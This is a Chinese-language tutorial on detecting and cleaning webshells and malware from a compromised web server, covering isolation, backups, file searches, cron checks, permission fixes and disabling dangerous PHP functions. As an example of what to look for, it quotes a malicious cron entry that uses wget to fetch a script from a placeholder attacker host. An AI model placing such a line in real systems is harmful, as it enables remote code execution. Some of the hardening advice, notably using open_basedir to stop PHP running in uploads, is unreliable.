服务器被挂马?教你快速清除恶意代码
先确认服务器是不是真的被挂马
很多新手发现网站打不开、CPU飙升或后台多出奇怪文件,就认定服务器被挂马。
不要慌,先通过几个现象确认:
- 文件异常:网站目录下多出未知文件,例如
1.php、shell.php、eval.php;或者原有文件被植入一段加密代码。 - 进程异常:使用
top命令看到名为kworker(实际不是系统进程)、crypt等陌生进程,CPU 占用超过 80%。 - 日志明显异常:在
/var/log/下出现大量access.log或系统日志中反复出现可疑 IP 访问。 - 首页被篡改:网站首页出现广告、赌博链接或明显不属于你的内容。
如果符合其中任意两条,大概率是服务器被挂马了。
接下来按照步骤手动清除恶意代码。
第一步:快速隔离并备份关键数据
在操作之前,先做两件事:断开外网连接(防止木马向外传输数据)和备份网站代码及数据库。
断开外网(如果是云服务器,在控制台安全组里临时禁止所有入站流量,或直接在服务器上关掉网卡):
# 临时关闭网卡(以 eth0 为例,慎重操作)
ifconfig eth0 down
备份网站目录(假设网站根目录是 /www/wwwroot/example.com):
tar czf /backup/site_backup_$(date +%Y%m%d).tar.gz /www/wwwroot/example.com
数据库备份(MySQL 示例,宝塔用户可以直接在面板里导出):
mysqldump -u root -p your_db > /backup/db_backup_$(date +%Y%m%d).sql
备份完成后才进行后续清理,万一误删还能恢复。
第二步:手动定位并删除恶意文件
这一部分需要你登录服务器(SSH),使用命令行查找可疑文件。
如果之前用宝塔面板管理,也可以配合文件管理器操作。
2.1 用命令快速找到被修改或新生成的文件
# 查找最近7天内被修改的 PHP 文件
find /www/wwwroot -type f -name "*.php" -mtime -7 -ls
重点检查可写目录,比如 uploads/、cache/、temp/、data/。
如果发现名字像 1.php、shell.php、eval.php 或者含有 base64 加密代码的文件,先用 file 命令确认类型:
file /www/wwwroot/example.com/uploads/1.php
正常应该是 PHP script,但如果返回 ASCII text 且内容非常短,极可能是木马。
2.2 使用宝塔面板文件管理器
宝塔用户可以直接进面板 -> 文件,按修改时间排序,逐个检查可疑文件。
删掉前先看看文件内容(宝塔有预览),确认是恶意代码后再删除。
注意:不要一键全删,可能会误伤业务文件。
只删确定是木马的文件。
2.3 删除可疑进程和计划任务
很多木马会注册系统自启动或计划任务。
检查计划任务:
crontab -l
如果发现不明定时任务(比如 */5 * * * * wget http://恶意地址/evil.sh),立即删除:
crontab -e
# 编辑后把相关行删掉,保存退出
同时用 ps aux | grep php 看看是否有可疑 PHP 进程(如 /usr/bin/php -r eval(...)),如果有则 kill -9 PID。
第三步:修复权限并重新扫描
删除恶意文件后,必须修复网站目录权限,防止木马再次写入。
3.1 设置正确权限
网站目录下,只给 www 用户(宝塔默认用户)写入必要目录(如 uploads),其他文件设为 644 或 755:
chown -R www:www /www/wwwroot/example.com
find /www/wwwroot/example.com -type d -exec chmod 755 {} \;
find /www/wwwroot/example.com -type f -exec chmod 644 {} \;
chmod 755 /www/wwwroot/example.com/uploads
3.2 禁用危险函数与文件上传目录执行权限(关键)
在 PHP 配置中禁用 eval、system、exec 等危险函数。
宝塔用户可以在面板 -> 网站 -> 设置 -> PHP 版本 -> 禁用函数中添加。
另外,uploads 等上传目录应该禁止执行 PHP:
# 在该目录下新建 .user.ini 文件,内容:
open_basedir = /www/wwwroot/example.com/uploads:/tmp
或者用 Nginx 配置禁止:
location ~* /uploads/.*\.php$ {
deny all;
}
3.3 重新扫描确认
再次执行 find 命令,看看是否还有新生成的文件。
如果不再出现新可疑文件,说明清理成功。
高频问题与避坑说明
Q1:删掉文件后,网站正常了,但几个小时后又被挂马,怎么办?
说明有后门残留或漏洞未修复。
后门可能藏在插件、主题、第三方库中。
建议:
- 使用开源扫描工具如
clamscan或在线查杀服务全盘扫描。 - 更新所有网站程序、插件到最新版。
- 如果频繁被挂,可能是 WordPress/Typecho 等已知漏洞被利用,建议升级或修复。
Q2:备份文件里也有木马,恢复后岂不是又重新中毒?
所以恢复前一定要对备份文件做一次恶意代码扫描。
如果备份里也有,只能从更早的干净备份恢复,或者手动去重。
Q3:宝塔面板里的“木马查杀”功能可靠吗?
可以辅助,但不能完全依赖。
手动检查 + 查杀工具双重确认更稳妥。
避坑提醒:
- 不要用
wget或curl下载网上的“一键查杀脚本”,可能是新的木马。 - 不要在杀毒过程中同时执行
chmod -R 777,这等于给木马开门。 - 清理完成后一定要修改所有密码(SSH、面板、数据库、FTP)。
验证服务器恢复正常
操作完成后,启动网卡或恢复安全组规则,然后:
- 访问网站首页和几个内页,确保正常显示。
- 再次执行
top,观察 CPU 是否回落到正常范围(通常 < 30%)。 - 检查日志
/var/log/nginx/access.log和/var/log/bt.log(宝塔日志),确认没有异常 IP 持续访问可疑路径。 - 24 小时后再次扫描文件,确认没有新的恶意代码出现。
如果你正在处理服务器被挂马的问题,建议先按本文步骤完整执行,再根据自己的环境做微调;
遇到异常时优先回看避坑和高频问题部分。
最后提醒一句:清除恶意代码只是急救,做好定期备份、安全组规则、禁用危险函数才是长期之计。